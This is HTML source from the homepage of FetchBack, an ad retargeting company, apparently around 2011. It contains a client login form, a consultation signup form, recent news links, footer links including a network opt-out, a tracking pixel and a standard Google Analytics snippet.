<script language="javascript" type="text/javascript">writeFlash('HPmovie',930,330);</script>
</div>
<div id="leftFlash">
<script language="javascript" type="text/javascript">writeFlash('HPclients',690,60);</script>
</div>
<div id="loginBox">
<div id="fHolder">
<form name="fetchback" id="fetchback" method="post" action="https://fido.fetchback.com/fido/j_spring_security_check" class="client_login">
<input name="j_username" type="text" class="userfield" value="username" onfocus="this.select();" />
<input type="hidden" name="_spring_security_remember_me" value="true"/>
<input name="j_password" id="j_password" type="password" value="password" class="userfield" onfocus="this.select();" onkeypress="l_keypress(event);" />
<a href="#" id="go" onclick="javascript:document.getElementById('fetchback').submit();return false;" onmouseover="goBtn.src='hpimages/button_go_clientlogin2.jpg';" onmouseout="goBtn.src='hpimages/button_go_clientlogin1.jpg';"><img src="hpimages/button_go_clientlogin1.jpg" width="23" height="17" border="0" id="goBtn" name="goBtn" alt="Login" /></a>
<a href="forgotpassword.html" id="ooL">Forgot your Password?</a>
</form>
</div>
</div>
<div id="freeConsult">
<div id="cFormHolder">
<form id="form1" method="post" action="./landing2.php">
<input name="Name" type="text" value="name" onfocus="this.select();" class="userfield" id="Name" />
<input name="phone" type="text" value="phone" onfocus="this.select();" class="userfield" id="phone" />
<input name="email" type="text" value="email" onfocus="this.select();" class="userfield" id="email"onkeypress="p_keypress(event);" />
<a href="#" id="cLog" onclick="document.getElementById('form1').submit();" onmouseover="clBtn.src='intimages/button_go2.jpg';" onmouseout="clBtn.src='intimages/button_go1.jpg';"><img src="intimages/button_go1.jpg" width="23" height="17" border="0" id="clBtn" name="clBtn" alt="Go!" /></a>
</form>
</div>
</div>
<div id="ValueDelivered1">
<div class="valueadded">
<div id="totalNum" style="display:none;"></div>
<div id="totalNumFormat" style="display:inline;"></div>
<script src="fb_stat.js.php" language="javascript" type="text/javascript"></script>
<a href="whitepaper.html"><img src="hpimages/spacer.gif" width="260" height="30" border="0" alt="Get a copy of our whitepaper" /></a>
<a href="livedemo.html"><img src="hpimages/spacer.gif" width="260" height="22" border="0" style="margin-top:8px;" alt="View our live demo!" /></a>
</div>
</div>
<div id="FBNews">
<a href="news.html" onmouseover="fbn.src='hpimages/hp_fetchbacknews_title2.jpg';" onmouseout="fbn.src='hpimages/hp_fetchbacknews_title1.jpg';"><img src="hpimages/hp_fetchbacknews_title1.jpg" width="311" height="28" border="0" id="fbn" name="fbn" alt="FetchBack News" /></a>
<!-- Top 3 News items can go in the space below - area stops displaying after here - - - - -v //-->
<ul id="fbNewsList">
<li><b>03/17/2011:</b> <a href ="http://www.bizreport.com/2011/03/fetchback-retargeted-pushing-more-than-simple-conversions.html">Fetchback: Retargeted pushing ...</a></li>
<li><b>03/17/2011:</b> <a href="press_031711.html">FetchBack's New Analytics Tool ...</a></li>
<li><b>01/21/2011:</b> <a href="press_012111.html">FetchBack Integrates Retargeting ...</a></li>
</ul>
<em>Read News and opinions from FetchBack Insiders:</em>
<br />
<div id="fbnLinks"><a href="http://www.fetchback.typepad.com/" target="_blank">FetchBack Blog</a>&nbsp;&nbsp;&nbsp;<a href="http://fetchback.typepad.com/best_little_blog/" target="_blank">Chad's &quot;Best Little Blog&quot;</a></div>
</div>
<div id="footerSpacer"></div>
<div id="footerOuter"><div id="textMenu"><a href="aboutus.html">Company Info</a>&nbsp;|&nbsp;<a href="privacy.html">Privacy Statement</a>&nbsp;|&nbsp;<a href="terms.html" target="_blank">Terms And Conditions</a>&nbsp;|&nbsp;<a href="careers.html">Careers</a>&nbsp;|&nbsp;<a href="optout.html">Opt-Out Of FetchBack's Network</a>&nbsp;&nbsp;&nbsp;Copyright &copy; 2010, FetchBack</div><div id="partnerImages"><a href="http://www.networkadvertising.org/" target="_blank" onmouseover="ni.src='intimages/int_footer3b.jpg';" onmouseout="ni.src='intimages/int_footer3a.jpg';"><img id="ni" name="ni" src="intimages/int_footer3a.jpg" width="94" height="46" border="0" alt="Network Advertising Initiative" /></a><a href="http://www.truste.org/ivalidate.php?url=www.fetchback.com&sealid=101" target="_blank" onmouseover="te.src='intimages/int_footer4b.jpg';" onmouseout="te.src='intimages/int_footer4a.jpg';"><img id="te" name="te" src="intimages/int_footer4a.jpg" width="116" height="46" border="0" alt="Trust E" /></a></div></div>
</div>
<iframe src='http://pixel.fetchback.com/serve/fb/pdc?cat=&name=landing&sid=11' scrolling='no' width='1' height='1' marginheight='0' marginwidth='0' frameborder='0'></iframe>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-2172764-1");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>